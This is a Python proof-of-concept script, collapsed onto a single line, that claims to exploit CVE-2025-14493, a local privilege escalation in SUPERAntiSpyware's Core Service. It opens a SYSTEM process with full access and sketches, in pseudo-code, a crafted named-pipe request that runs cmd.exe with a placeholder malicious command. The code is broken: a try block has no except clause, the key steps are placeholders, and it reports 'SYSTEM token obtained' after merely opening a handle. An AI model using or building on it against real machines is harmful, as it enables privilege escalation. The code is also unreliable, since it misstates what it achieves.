CVE-2025-14493

# CVE-2025-14493 PoC - SUPERAntiSpyware Local Privilege Escalation # This PoC demonstrates the concept of exploiting exposed dangerous functions # in SAS Core Service for privilege escalation import ctypes import os import sys import time import subprocess # Constants for Windows API PROCESS_ALL_ACCESS = 0x1F0FFF TOKEN_DUPLICATE = 0x0002 TOKEN_ADJUST_PRIVILEGES = 0x0020 SE_DEBUG_PRIVILEGE = 0x14 def get_system_process_token(): """ Obtain a handle to the SYSTEM process (services.exe or wininit.exe) This is a simplified demonstration - actual exploitation requires finding the specific vulnerable function in SAS Core Service """ try: # Open SYSTEM process - in real attack, target specific service PID system_pid = None for proc in subprocess.run(['tasklist'], capture_output=True, text=True).stdout.split('\n'): if 'services.exe' in proc.lower() or 'wininit.exe' in proc.lower(): system_pid = int(proc.split()[1]) break if not system_pid: print("[-] Could not find SYSTEM process") return None print(f"[+] Found SYSTEM process with PID: {system_pid}") # Open handle to SYSTEM process with full access kernel32 = ctypes.windll.kernel32 PROCESS_ALL_ACCESS = 0x1F0FFF system_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, system_pid) if not system_handle: print(f"[-] Failed to open SYSTEM process. Error: {ctypes.get_last_error()}") return None print("[+] Successfully opened handle to SYSTEM process") return system_handle exploit_sas_service = """ # Actual exploitation requires: # 1. Enumerate SAS Core Service exposed functions # 2. Identify the dangerous function (e.g., CreateProcessAsUser, LoadLibrary) # 3. Send crafted IPC/RPC request to trigger privileged operation # 4. Inject malicious DLL or execute payload with SYSTEM privileges # Example attack flow (pseudo-code): service_handle = OpenServiceControlManager("\\\\.\\pipe\\SASCService") # Craft malicious request malicious_request = { "function_id": <vulnerable_function_id>, "params": { "command": "C:\\Windows\\System32\\cmd.exe /c <malicious_command>", "flags": CREATE_NEW_CONSOLE | CREATE_NO_WINDOW } } SendRequest(service_handle, malicious_request) """ def main(): print("="*60) print("CVE-2025-14493 PoC - SUPERAntiSpyware LPE") print("="*60) print("\n[!] Disclaimer: This code is for educational purposes only") print("[!] Actual exploitation requires deeper analysis of SAS Core Service\n") print("[*] Step 1: Locating SAS Core Service...") print("[*] Step 2: Identifying exposed dangerous functions...") print("[*] Step 3: Preparing privilege escalation payload...") # Get SYSTEM token system_handle = get_system_process_token() if system_handle: print("\n[+] SYSTEM token obtained successfully") print("[+] Privilege escalation vector identified") print("\n[*] To complete exploitation:") print(" - Analyze SAS Core Service IPC interface") print(" - Find the specific dangerous function call") print(" - Craft malicious request to trigger SYSTEM code execution") ctypes.windll.kernel32.CloseHandle(system_handle) else: print("[-] Could not establish SYSTEM access") print("[*] Additional analysis of SAS Core Service required") print("\n" + "="*60) if __name__ == "__main__": main()

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